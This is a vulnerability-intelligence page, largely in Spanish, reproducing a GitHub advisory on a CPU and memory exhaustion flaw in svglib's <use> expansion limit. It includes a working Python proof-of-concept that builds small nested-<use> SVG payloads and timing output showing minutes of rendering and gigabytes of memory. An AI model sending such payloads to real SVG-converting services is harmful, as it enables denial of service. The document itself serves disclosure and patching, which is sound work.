llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · svglib

GHSA-XPFM-FW4H-QXWV

`<use>` expansion limit counts expansions but not their size, so a 6 KB SVG still takes minutes and GBs to render (incomplete fix of GHSA-555j-qj3j-c8jv)

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición17 dDesde la divulgación, 4 nov 2026, 4:56 a. m.
Detección14 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Revisa tus logs de la semana con la lupa.No corre prisa, pero no la pierdas de vista.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.3.3
Monitoreo
Detectada +1
4 nov 26
18 nov 26
21 nov 26
4 nov 26
8 nov 26
13 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-XPFM-FW4H-QXWV divulgada · CVSS 7.5 (GitHub)
Remediación Parche 2.3.3 svglib · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The 2.3.1 fix for GHSA-555j-qj3j-c8jv stops `renderUse()` after `MAX_USE_EXPANSIONS` (10,000) expansions. But each expansion deep-copies and renders the whole referenced subtree, so the total work is 10,000 × (subtree size), and the subtree size is unbounded. Nested `<use>` groups whose leaf group holds N rects make about 9,000 of the allowed expansions clone that leaf. In svglib 2.3.2, a 2,254-byte SVG takes 68 s, and a 6,454-byte one (200 rects) takes 247 s and 2.6 GB RSS. The cost grows linearly with N. Only the SVG needs to be attacker-controlled, as in GHSA-555j. `main` (6e798117) behaves the same (50 rects: 62 s / 727 MB).

Details
  • Limit: svglib.py#L212 https://github.com/deeplook/svglib/blob/v2.3.2/src/svglib/svglib.py#L212 `MAX_USE_EXPANSIONS = 10_000`, checked once per `<use>` at #L2020-L2027 https://github.com/deeplook/svglib/blob/v2.3.2/src/svglib/svglib.py#L2020-L2027.
  • Each permitted expansion clones and renders the full target (#L2058-L2062 https://github.com/deeplook/svglib/blob/v2.3.2/src/svglib/svglib.py#L2058-L2062):
  • Payload: `g0` = N `<rect/>`; `g1`..`g4` = ten `<use href="#g(i-1)"/>` each; root `<use href="#g4"/>`. This is the GHSA-555j shape with one level fewer and a bigger leaf. The expansion count stays under the limit while the cloned element count reaches roughly 9,000 × N.
  • Suggested fix (tested): add a document-wide budget on cloned elements, shared with external SVGs the same way as the expansion counter. Each expansion is charged the element count of the subtree it clones:
Proof of concept

Everything runs locally and in memory (Python 3.12, Linux):

  1. `mkdir svglib-poc && cd svglib-poc`
  2. `python3 -m venv venv`
  3. `venv/bin/pip install svglib==2.3.2`
  4. Save the script below as `poc.py`
  5. `venv/bin/python poc.py` (about 4 minutes; pass leaf sizes as arguments, e.g. `poc.py 200`)
"""svglib: MAX_USE_EXPANSIONS (GHSA-555j-qj3j-c8jv fix) bounds the number of <use>
expansions, not the size of each one. A 6 KB SVG still takes minutes and GBs."""
import io, logging, resource, sys, time
logging.disable(logging.CRITICAL)          # silence the "Too many <use> expansions" log line
import svglib
from svglib.svglib import svg2rlg, MAX_USE_EXPANSIONS

def svg(levels, fan, leaf):
    g0 = '<g id="g0">' + '<rect width="1" height="1"/>' * leaf + '</g>'
    defs = [g0] + [f'<g id="g{i}">' + f'<use href="#g{i-1}"/>' * fan + '</g>' for i in range(1, levels + 1)]
    return ('<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10">'
            f'<defs>{"".join(defs)}</defs><use href="#g{levels}"/></svg>').encode()

print(f"python {sys.version.split()[0]}, svglib {svglib.__version__}, MAX_USE_EXPANSIONS={MAX_USE_EXPANSIONS}")
cases = [("control: GHSA-555j payload (1-rect leaf, 5 levels)", 5, 10, 1)]
cases += [(f"variant: {leaf}-rect leaf, 4 levels", 4, 10, leaf) for leaf in (int(a) for a in sys.argv[1:] or [25, 50, 100])]
for label, levels, fan, leaf in cases:
    doc = svg(levels, fan, leaf)
    t = time.perf_counter()
    svg2rlg(io.BytesIO(doc))
    rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024
    print(f"{label:52} {len(doc):6d} bytes  {time.perf_counter() - t:7.2f} s  peak RSS {rss} MB", flush=True)

Output (svglib 2.3.2, Python 3.12.3, Linux x86_64):

python 3.12.3, svglib 2.3.2, MAX_USE_EXPANSIONS=10000
control: GHSA-555j payload (1-rect leaf, 5 levels)     1067 bytes     1.83 s  peak RSS 71 MB
variant: 25-rect leaf, 4 levels                        1554 bytes    33.12 s  peak RSS 379 MB
variant: 50-rect leaf, 4 levels                        2254 bytes    68.40 s  peak RSS 699 MB
variant: 100-rect leaf, 4 levels                       3654 bytes   133.06 s  peak RSS 1341 MB

The control is the GHSA-555j payload, which is now bounded (1.8 s). The variants stay under the same 10,000-expansion limit, but time and memory grow with the leaf size: about 1.3 s and 13 MB per rect. A 200-rect leaf (6,454 bytes) took 247 s and 2.6 GB RSS in a separate run.

Impact

CPU and memory exhaustion (CWE-400) in any service that converts untrusted SVG with `svg2rlg()`: thumbnails, SVG to PDF, reportlab reports, and xhtml2pdf (`<img src="...svg">`, including `data:` URIs). Default options, no external files. Confidentiality and integrity are not affected.

I'd like a CVE to be requested for this issue, with credit to Adrian Korwel.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
svglib≤ 2.3.2
2.3.2
2.4.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypisvglib
Corregida 2.3.3 0 d 2.4.0 no afectada
Versiones corregidas2.3.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/deeplook/svglib/security/advisories/GHSA-xpfm-fw4h-qxwv

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.